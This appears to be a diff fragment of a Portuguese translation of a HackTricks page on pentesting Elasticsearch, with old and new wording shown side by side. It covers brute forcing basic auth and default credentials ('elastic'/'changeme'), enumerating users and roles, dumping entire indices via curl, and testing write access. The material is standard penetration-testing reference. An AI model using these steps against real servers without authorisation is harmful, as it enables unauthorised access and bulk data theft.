{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500} {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
@ -55,12 +53,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash ```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
``` ```
Isso significa que a autenticação está configurada e **você precisa de credenciais válidas** para obter qualquer informação do Elasticsearch. Então, você pode [**tentar fazer brute force**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (ele usa autenticação básica HTTP, então qualquer coisa que faça brute force em autenticação básica HTTP pode ser usada).\ Isso significa que a autenticação está configurada e **você precisa de credenciais válidas** para obter qualquer informação do Elasticsearch. Então, você pode [**tentar forçar a entrada**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (ele usa autenticação básica HTTP, então qualquer coisa que force a entrada em autenticação básica HTTP pode ser usada).\
Aqui você tem uma **lista de nomes de usuário padrão**: _**elastic** (superusuário), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Versões mais antigas do Elasticsearch têm a senha padrão **changeme** para este usuário. Aqui você tem uma **lista de nomes de usuário padrão**: _**elastic** (superusuário), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Versões mais antigas do Elasticsearch têm a senha padrão **changeme** para esse usuário
``` ```
curl -X GET http://user:password@IP:9200/ curl -X GET http://user:password@IP:9200/
``` ```
### Enumeração Básica de Usuários ### Enumeração Básica de Usuário
```bash ```bash
#List all roles on the system: #List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role" curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
@ -73,7 +71,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
``` ```
### Informações do Elastic ### Informações do Elastic
Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** algumas **informações** sobre o Elasticsearch: Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** algumas **informações** sobre o elasticsearch:
| \_cat | /\_cluster | /\_security | | \_cat | /\_cluster | /\_security |
| ------------------------------- | ----------------------------- | ------------------------- | | ------------------------------- | ----------------------------- | ------------------------- |
@ -105,7 +103,7 @@ Aqui estão alguns endpoints que você pode **acessar via GET** para **obter** a
Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\ Esses endpoints foram [**retirados da documentação**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) onde você pode **encontrar mais**.\
Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância. Além disso, se você acessar `/_cat`, a resposta conterá os endpoints `/_cat/*` suportados pela instância.
Em `/_security/user` (se a autenticação estiver habilitada), você pode ver qual usuário tem a função `superuser`. Em `/_security/user` (se autenticação estiver habilitada), você pode ver qual usuário tem a role `superuser`.
### Índices ### Índices
@ -116,38 +114,38 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
``` ```
Para obter informações sobre que tipo de dados são salvos em um índice, você pode acessar: `http://host:9200/<index>` como, por exemplo, neste caso `http://10.10.10.115:9200/bank` Para obter **informações sobre que tipo de dados está salvo dentro de um índice**, você pode acessar: `http://host:9200/<index>`, por exemplo, neste caso `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (265).png>) ![](<../.gitbook/assets/image (265).png>)
### Despejar índice ### Extrair índice
Se você quiser **despejar todo o conteúdo** de um índice, você pode acessar: `http://host:9200/<index>/_search?pretty=true` como `http://10.10.10.115:9200/bank/_search?pretty=true` Se você deseja **extrair todo o conteúdo** de um índice, você pode acessar: `http://host:9200/<index>/_search?pretty=true` como em `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../.gitbook/assets/image (266).png>) ![](<../.gitbook/assets/image (266).png>)
_Dedique um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._ _Reserve um momento para comparar o conteúdo de cada documento (entrada) dentro do índice bank e os campos deste índice que vimos na seção anterior._
Então, neste ponto, você pode notar que **há um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão um limite de 10 documentos**.\ Assim, neste ponto, você pode notar que **existe um campo chamado "total" dentro de "hits"** que indica que **1000 documentos foram encontrados** dentro deste índice, mas apenas 10 foram recuperados. Isso ocorre porque **por padrão existe um limite de 10 documentos**.\
Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **despejar todos eles** indicando o número de entradas que deseja despejar no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ Mas, agora que você sabe que **este índice contém 1000 documentos**, você pode **extrair todos eles** indicando o número de entradas que deseja extrair no parâmetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_Observação: Se você indicar um número maior, todas as entradas serão despejadas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._ _Nota: Se você indicar um número maior, todas as entradas serão extraídas de qualquer maneira, por exemplo, você poderia indicar `size=9999` e seria estranho se houvesse mais entradas (mas você deve verificar)._
### Despejar tudo ### Extrair tudo
Para despejar tudo, você pode simplesmente ir para o **mesmo caminho que antes, mas sem indicar nenhum índice** `http://host:9200/_search?pretty=true` como `http://10.10.10.115:9200/_search?pretty=true`\ Para extrair tudo, você pode simplesmente ir para o **mesmo caminho de antes, mas sem indicar nenhum índice** `http://host:9200/_search?pretty=true` como em `http://10.10.10.115:9200/_search?pretty=true`\
Lembre-se de que, neste caso, o **limite padrão de 10** resultados será aplicado. Você pode usar o parâmetro `size` para despejar uma **quantidade maior de resultados**. Leia a seção anterior para obter mais informações. Lembre-se de que, neste caso, será aplicado o **limite padrão de 10** resultados. Você pode usar o parâmetro `size` para extrair uma **quantidade maior de resultados**. Leia a seção anterior para mais informações.
### Pesquisa ### Pesquisar
Se você está procurando por alguma informação, pode fazer uma **pesquisa bruta em todos os índices** indo para `http://host:9200/_search?pretty=true&q=<search_term>` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` Se você está procurando por alguma informação, pode fazer uma **pesquisa bruta em todos os índices** acessando `http://host:9200/_search?pretty=true&q=<search_term>` como em `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (267).png>) ![](<../.gitbook/assets/image (267).png>)
Se você quiser apenas **pesquisar em um índice**, pode apenas **especificá-lo** no **caminho**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>` Se você deseja apenas **pesquisar em um índice**, você pode simplesmente **especificar** isso no **caminho**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_Obsere que o parâmetro q usado para pesquisar conteúdo **suporta expressões regulares**_ _Note que o parâmetro q usado para pesquisar conteúdo **suporta expressões regulares**_
Você também pode usar algo como [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) para fuzz um serviço elasticsearch. Você também pode usar algo como [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) para fazer fuzzing em um serviço elasticsearch.
### Permissões de escrita ### Permissões de escrita
@ -161,13 +159,13 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job" "name" : "how to get a job"
}' }'
``` ```
Esse comando irá criar um **novo índice** chamado `bookindex` com um documento do tipo `books` que tem os atributos "_bookId_", "_author_", "_publisher_" e "_name_" Esse comando criará um **novo índice** chamado `bookindex` com um documento do tipo `books` que possui os atributos "_bookId_", "_author_", "_publisher_" e "_name_"
Observe como o **novo índice aparece agora na lista**: Observe como o **novo índice aparece agora na lista**:
![](<../.gitbook/assets/image (268).png>) ![](<../.gitbook/assets/image (268).png>)
E observe as **propriedades criadas automaticamente**: E note as **propriedades criadas automaticamente**:
![](<../.gitbook/assets/image (269).png>) ![](<../.gitbook/assets/image (269).png>)
@ -183,16 +181,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>